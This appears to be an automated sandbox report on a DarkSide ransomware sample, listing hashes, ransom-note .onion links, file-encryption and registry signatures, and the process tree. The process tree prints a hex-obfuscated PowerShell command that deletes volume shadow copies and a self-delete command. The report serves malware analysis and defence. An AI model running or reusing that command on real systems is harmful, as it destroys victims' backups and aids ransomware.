Analysis
-
max time kernel
89s -
max time network
92s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
02-06-2023 16:07
Static task
static1
Behavioral task
behavioral1
Sample
Darkside.exe
Resource
win10v2004-20230220-en
General
-
Target
Darkside.exe
-
Size
59KB
-
MD5
cfcfb68901ffe513e9f0d76b17d02f96
-
SHA1
766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
-
SHA256
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
-
SHA512
0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c
-
SSDEEP
768:9jjV7Iax7F3DS4/S96/P3rsAc4ci5pwwX5+R4VYY23W5:vx7Fu4/i6/P3rlckx5+R4VDZ5
Malware Config
Extracted
C:\Users\README.afd37836.TXT
darkside
http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF
http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH
Signatures
-
DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
-
Renames multiple (147) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Modifies extensions of user files 20 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
Darkside.exedescription ioc process File renamed C:\Users\Admin\Pictures\ExitSelect.png => C:\Users\Admin\Pictures\ExitSelect.png.afd37836 Darkside.exe File opened for modification C:\Users\Admin\Pictures\SwitchProtect.tiff.afd37836 Darkside.exe File renamed C:\Users\Admin\Pictures\CompleteSearch.raw => C:\Users\Admin\Pictures\CompleteSearch.raw.afd37836 Darkside.exe File opened for modification C:\Users\Admin\Pictures\OpenRead.tif.afd37836 Darkside.exe File opened for modification C:\Users\Admin\Pictures\SelectRename.tiff Darkside.exe File renamed C:\Users\Admin\Pictures\SelectRename.tiff => C:\Users\Admin\Pictures\SelectRename.tiff.afd37836 Darkside.exe File opened for modification C:\Users\Admin\Pictures\SelectRename.tiff.afd37836 Darkside.exe File opened for modification C:\Users\Admin\Pictures\ResetLimit.crw.afd37836 Darkside.exe File opened for modification C:\Users\Admin\Pictures\DisconnectRevoke.crw.afd37836 Darkside.exe File opened for modification C:\Users\Admin\Pictures\ExitSelect.png.afd37836 Darkside.exe File renamed C:\Users\Admin\Pictures\GetResume.tif => C:\Users\Admin\Pictures\GetResume.tif.afd37836 Darkside.exe File renamed C:\Users\Admin\Pictures\OpenRead.tif => C:\Users\Admin\Pictures\OpenRead.tif.afd37836 Darkside.exe File renamed C:\Users\Admin\Pictures\ResetLimit.crw => C:\Users\Admin\Pictures\ResetLimit.crw.afd37836 Darkside.exe File opened for modification C:\Users\Admin\Pictures\SwitchProtect.tiff Darkside.exe File renamed C:\Users\Admin\Pictures\SwitchProtect.tiff => C:\Users\Admin\Pictures\SwitchProtect.tiff.afd37836 Darkside.exe File renamed C:\Users\Admin\Pictures\CheckpointConvertFrom.png => C:\Users\Admin\Pictures\CheckpointConvertFrom.png.afd37836 Darkside.exe File opened for modification C:\Users\Admin\Pictures\CheckpointConvertFrom.png.afd37836 Darkside.exe File opened for modification C:\Users\Admin\Pictures\CompleteSearch.raw.afd37836 Darkside.exe File renamed C:\Users\Admin\Pictures\DisconnectRevoke.crw => C:\Users\Admin\Pictures\DisconnectRevoke.crw.afd37836 Darkside.exe File opened for modification C:\Users\Admin\Pictures\GetResume.tif.afd37836 Darkside.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Darkside.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation Darkside.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
Darkside.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\afd37836.BMP" Darkside.exe Set value (str) \REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\afd37836.BMP" Darkside.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
Darkside.exepid process 3852 Darkside.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies Control Panel 1 IoCs
Processes:
Darkside.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\Desktop\WallpaperStyle = "10" Darkside.exe -
Modifies registry class 5 IoCs
Processes:
Darkside.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\afd37836 Darkside.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\afd37836\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\afd37836.ico" Darkside.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.afd37836 Darkside.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.afd37836\ = "afd37836" Darkside.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\afd37836\DefaultIcon Darkside.exe -
Opens file in notepad (likely ransom note) 1 IoCs
Processes:
NOTEPAD.EXEpid process 5556 NOTEPAD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exeDarkside.exepid process 4732 powershell.exe 4732 powershell.exe 3852 Darkside.exe 3852 Darkside.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
Darkside.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 3852 Darkside.exe Token: SeSecurityPrivilege 3852 Darkside.exe Token: SeTakeOwnershipPrivilege 3852 Darkside.exe Token: SeLoadDriverPrivilege 3852 Darkside.exe Token: SeSystemProfilePrivilege 3852 Darkside.exe Token: SeSystemtimePrivilege 3852 Darkside.exe Token: SeProfSingleProcessPrivilege 3852 Darkside.exe Token: SeIncBasePriorityPrivilege 3852 Darkside.exe Token: SeCreatePagefilePrivilege 3852 Darkside.exe Token: SeBackupPrivilege 3852 Darkside.exe Token: SeRestorePrivilege 3852 Darkside.exe Token: SeShutdownPrivilege 3852 Darkside.exe Token: SeDebugPrivilege 3852 Darkside.exe Token: SeSystemEnvironmentPrivilege 3852 Darkside.exe Token: SeRemoteShutdownPrivilege 3852 Darkside.exe Token: SeUndockPrivilege 3852 Darkside.exe Token: SeManageVolumePrivilege 3852 Darkside.exe Token: 33 3852 Darkside.exe Token: 34 3852 Darkside.exe Token: 35 3852 Darkside.exe Token: 36 3852 Darkside.exe Token: SeDebugPrivilege 4732 powershell.exe Token: SeBackupPrivilege 220 vssvc.exe Token: SeRestorePrivilege 220 vssvc.exe Token: SeAuditPrivilege 220 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
Darkside.exedescription pid process target process PID 3852 wrote to memory of 4732 3852 Darkside.exe powershell.exe PID 3852 wrote to memory of 4732 3852 Darkside.exe powershell.exe PID 3852 wrote to memory of 5436 3852 Darkside.exe cmd.exe PID 3852 wrote to memory of 5436 3852 Darkside.exe cmd.exe PID 3852 wrote to memory of 5436 3852 Darkside.exe cmd.exe -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Darkside.exe"C:\Users\Admin\AppData\Local\Temp\Darkside.exe"1⤵
- Modifies extensions of user files
- Checks computer location settings
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\Darkside.exe >> NUL2⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\README.afd37836.TXT1⤵
- Opens file in notepad (likely ransom note)
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
3KB
MD5556084f2c6d459c116a69d6fedcc4105
SHA1633e89b9a1e77942d822d14de6708430a3944dbc
SHA25688cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA5120f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD52247453c28acd1eb75cfe181540458a8
SHA1851fc5a9950d422d76163fdc6a453d6859d56660
SHA256358b8df2d92a70274c5ec8e50bf6353c37a7fe1855fd9659f610f8a96eac19bd
SHA51242475e640ee70ab4bd7350dbd970c5862f1597918b6a5e3ee038a10a5c5b883ac61038ecec51a7bfe7cb615798d832fae4a3ead9571f35825a644dee1f2dd7d3
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nv3piogl.ajk.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\Desktop\README.afd37836.TXTFilesize
3KB
MD5b58e2411168bbdbec635cf4001635db0
SHA1c130cd9caaaa514a6b98c1168e10d44a989d191a
SHA256652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a
SHA51287e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a
-
C:\Users\README.afd37836.TXTFilesize
3KB
MD5b58e2411168bbdbec635cf4001635db0
SHA1c130cd9caaaa514a6b98c1168e10d44a989d191a
SHA256652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a
SHA51287e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a
-
memory/4732-139-0x00000298D5E90000-0x00000298D5EB2000-memory.dmpFilesize
136KB
-
memory/4732-148-0x00000298D4550000-0x00000298D4560000-memory.dmpFilesize
64KB
-
memory/4732-147-0x00000298D4550000-0x00000298D4560000-memory.dmpFilesize
64KB
-
memory/4732-149-0x00000298D4550000-0x00000298D4560000-memory.dmpFilesize
64KB